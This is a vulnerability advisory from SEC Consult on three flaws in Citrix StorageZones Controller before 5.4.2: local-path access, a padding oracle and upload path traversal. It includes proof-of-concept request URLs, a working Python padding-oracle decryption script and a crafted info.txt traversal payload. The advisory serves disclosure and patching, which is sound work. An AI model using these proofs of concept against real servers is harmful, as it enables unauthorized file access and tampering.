SEC Consult SA-20180924-0 :: Multiple Vulnerabilities in Citrix- StorageZones Controller

From: SEC Consult Vulnerability Lab <research@sec-consult.com>
To: bugtraq@securityfocus.com,fulldisclosure@seclists.org
Cc:
Subject: SEC Consult SA-20180924-0 :: Multiple Vulnerabilities in Citrix- StorageZones Controller
Date:


SEC Consult Vulnerability Lab Security Advisory < 20180924-0 >
=======================================================================
              title: Multiple Vulnerabilities
            product: Citrix StorageZones Controller
 vulnerable version: all versions before 5.4.2
      fixed version: 5.4.2
         CVE number: CVE-2018-16968, CVE-2018-16969
             impact: Medium
           homepage: https://www.citrix.com/
              found: 2018-08
                 by: W. Ettlinger (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"ShareFile is a file sharing service that enables users to easily and securely
exchange documents. ShareFile Enterprise provides enterprise-class service and
includes StorageZones Controller and the User Management Tool. ShareFile
StorageZones Controller extends the ShareFile software as a service (SaaS)
cloud storage by providing your ShareFile account with private data storage,
referred to as StorageZones for ShareFile Data. [...]."

URL: https://docs.citrix.com/en-us/storagezones-controller/5-0.html


Business recommendation:
------------------------
Users of this product are advised to install the security patch provided by Citrix.

The vulnerabilities identified suggest that no sufficient technical security
audit has yet been conducted on the Citrix StorageZones Controller. SEC Consult
recommends Citrix to conduct such an audit.


Vulnerability overview/description:
-----------------------------------
The Citrix StorageZones Controller exposes resources that are typically only
available to the internal network (e.g. CIFS Windows shares) to clients
connecting from the Internet.

In order to hide internal network paths from the user and in order to only allow
access to paths specifically allowed by the administrator, internal network
paths are encrypted. E.g. if an administrator wants to allow access to an UNC
path (e.g. \\testhost\testshare\testdir) this string is encrypted and provided
to the client. When the user calls the API to e.g. list the contents of this
directory, the StorageZones Controller returns the encrypted absolute paths for
each directory entry. This way, the absolute internal paths are always hidden
from the user.

1) Improper Access Restrictions
Citrix StorageZone Controller offers users a functionality to convert UNC paths
into their encrypted form. Therefore, users are able to access any UNC paths
accessible by the StorageZones Controller.

When providing access to a network share, the StorageZones Controller
impersonates the user. Therefore, unauthorized access to network shares is not
possible.

However, Citrix StorageZones Controller internally does not distinguish between
UNC-paths (e.g. \\testhost\testshare) and local paths (e.g. C:\Windows).
Therefore, users may access (e.g. read, write, delete) local paths for which
they have appropriate NTFS permissions.

Note: Citrix StorageZones allows an administrator to define the paths exposed by
the StorageZones Controller. By configuring this setting an administrator can
restrict access to only network paths. The configuration page incorrectly states
that a value of "*" (the default value) "allows connections to all hosts on the
internal network", while in fact it also allows access to local paths.

2) Padding Oracle
The encryption mechanism used by the Citrix StorageZones Controller is
vulnerable to a padding oracle attack. This allows an attacker to partly decrypt
or potentially modify internal paths.

3) Path Traversal
The upload functionality is vulnerable to a path traversal attack if the
preconditions to exploit the vulnerability #1 are met. In practice this
vulnerability has a similar effect as vulnerability #1.


Proof of concept:
-----------------
1) Improper Access Restrictions
The following URL demonstrates how local paths can be encrypted:

https://<host>/cifs/v3/Items/ByPath?path=c:\

The following URL demonstrates how e.g. the contents of the directory can be
listed:

https://<host>/cifs/v3/Items(<encrypted>)?$expand=Children


2) Padding Oracle
The following script demonstrates how encrypted internal paths can partly be
decrypted. It may also be possible to partly modify encrypted paths (this has
not been verified).

---- snip ----
import sys
sys.path.append('python-paddingoracle')

from paddingoracle import BadPaddingException, PaddingOracle, xor
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
import getpass

URL = 'http://<host>/'
AUTH = (raw_input('User: '),
        getpass.getpass('Password: '))

CIPHER = '<encrypted path>'

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()

    def oracle(self, data, **kwargs):
        d = b64encode('B'*64 + encrypted + data)\
            .replace('=', '_')\
            .replace('+', '-')\
            .replace('/', '!')

        response = self.session.get(URL + 'cifs/v3/Items('+d+')',
            headers={'Authorization': 'Basic '+b64encode(':'.join(AUTH))})

        if 'File path could not be resolved.' in response.text:
            print 'bad'
            raise BadPaddingException

if __name__ == '__main__':
    import logging
    logging.basicConfig(level=logging.DEBUG)

    encrypted = bytearray(b64decode(CIPHER\
        .replace('_', '=')\
        .replace('-', '+')\
        .replace('!', '/')))

    padbuster = PadBuster()

    d = b64encode(encrypted)\
            .replace('=', '_')\
            .replace('+', '-')\
            .replace('/', '!')

    print padbuster.decrypt(encrypted, block_size=16, iv=bytearray(16))
---- snip ----


3) Path Traversal
This attack involves uploading a file called "info.txt" to any local path (see
vulnerability #1). These info.txt files are used by StorageZones controller
to keep track of ongoing file uploads (e.g. if a file upload is split into
multiple HTTP requests).

The following shows an info.txt file that can be used by an attacker:

info_txt = 'ThreadedUpload|' + \
    'rsu-00000000000000000000000000000000|' + \
    'info.txt|0||00000000-0000-0000-00000000000000000|' + \
    '5||False|' + \
    r'..\dest_dir\testfile.txt|' + \ # the temporary upload file
    'False|0|0|0|False|4|apiv3||';

This value is then hashed (MD5 encoded as UTF16) and the resulting hash is
appended (info_txt + '|' + hash).

This file is normally expected to be in a dedicated temporary directory. When a
request is made in reference to an ongoing file upload, a string identifying
one specific upload is sent with it. When accessing the info.txt that describes
the upload, the application uses the upload id sent as a part of the file path
(<tmp upload path>/<upload id>/info.txt).

An attacker can therefore conduct a directory traversal attack to reference
the previously uploaded info.txt. Any uploaded chunk that references this
file is appended to the temporary upload file (see info_txt above).

This file is created with the privileges of the user NETWORK SERVICE. The data
is then written to it with the privileges of the attacker's account.


Vulnerable / tested versions:
-----------------------------
The version 5.3.1.5610 of the StorageZones controller was found to be vulnerable.
This was the latest version as of the time of vulnerability discovery.

According to the vendor, all versions before 5.4.2 are affected by the identified
security issues.


Vendor contact timeline:
------------------------
2018-08-08: Sending encrypted advisory to the Citrix Security Team
2018-08-08: Citrix: Investigation has been started
2018-09-07: Requesting status update
2018-09-07: Citrix: Preliminary release date for the patch: 2018-09-19
2018-09-19: Citrix releases StorageZones Controller version 5.4.2 in which these
            vulnerabilities are addressed
2018-09-24: SEC Consult releases the security advisory


Solution:
---------
Upgrade to the latest version available:
https://www.citrix.com/downloads/sharefile/product-software/sharefile-storagezones-controller-542.html

The Citrix security advisory can be found here:
https://support.citrix.com/article/CTX238022


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
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Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

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EOF W. Ettlinger / @2018





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